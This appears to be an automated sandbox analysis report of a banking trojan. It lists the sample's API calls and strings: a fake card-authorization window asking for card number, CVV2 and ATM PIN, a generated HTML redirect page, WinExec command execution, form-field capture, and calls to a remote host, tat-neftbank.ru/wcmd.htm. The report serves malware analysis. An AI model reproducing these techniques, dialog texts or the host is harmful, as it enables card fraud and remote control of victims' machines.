Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

Explorer, xrefs: 00406098
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Your card number, xrefs: 0040639E
%.2u, xrefs: 004062D6
QueenKarton, xrefs: 004060F5
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Authorization Failed., xrefs: 00406129
ATM PIN-Code, xrefs: 00406410
Card && expiration date, xrefs: 0040635F
EDIT, xrefs: 004064BD, 004064F9, 0040652F
Visa, xrefs: 00406204
MasterCard, xrefs: 004061F2
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
DocObject, xrefs: 00406089
Please make corrections and try again., xrefs: 00406482
BUTTON, xrefs: 0040656B
3-digit validation code on back of card (cvv2), xrefs: 004063D7
Click Once To Continue, xrefs: 00406566
20%.2u, xrefs: 00406302

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

%ssetTimeout("x()",%u);, xrefs: 00405ACD
<head>, xrefs: 0040580D
</script>, xrefs: 00405B07
%sself.parent.location="%s";, xrefs: 00405A36
function x(), xrefs: 004059A0
.htm, xrefs: 0040575E
</head>, xrefs: 004058D7
</body><html>, xrefs: 00405B88
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
<script>, xrefs: 00405966
<body>, xrefs: 00405911
%s<title>%s%u</title>, xrefs: 00405897
MicroSoft-Corp, xrefs: 0040588B
<html>, xrefs: 0040576C

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

%s\Rtdx1%i.dat, xrefs: 00406AB8
:%02u, xrefs: 0040694F
%s\cmd.exe, xrefs: 004069C5
\command.com, xrefs: 00406A13
/, xrefs: 00406AF7
%s /C %s, xrefs: 00406A44
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
%s/Rtdx1%i.htm, xrefs: 00406B39
%s\command.pif, xrefs: 00406A02
%s\cmd.pif, xrefs: 004069A9
:, xrefs: 00406927
wupd , xrefs: 00406A68
:, xrefs: 00406934

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

%s%u - Microsoft Internet Explorer, xrefs: 004053C8
X-okRecv11, xrefs: 00405458
D, xrefs: 00405334
MicroSoft-Corp, xrefs: 004053C3
\Iexplore.exe , xrefs: 004052EC

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s %X%c, xrefs: 0040218F
value, xrefs: 00401BC7
%s FORM_%X, xrefs: 00401F6B
%s%c, xrefs: 004021EB

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

RtlInitUnicodeString, xrefs: 00402841
NtMapViewOfSection, xrefs: 00402877
ntdll.dll, xrefs: 00402835
NtOpenSection, xrefs: 00402867
RtlNtStatusToDosError, xrefs: 00402887
NtUnmapViewOfSection, xrefs: 00402851

Memory Dump Source

Source File: 00000007.00000002.1985346265.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1985309091.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985391617.000000000042A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985423351.000000000042E000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985446853.000000000042F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985470156.0000000000436000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1985499870.0000000000438000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_Oceoll32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
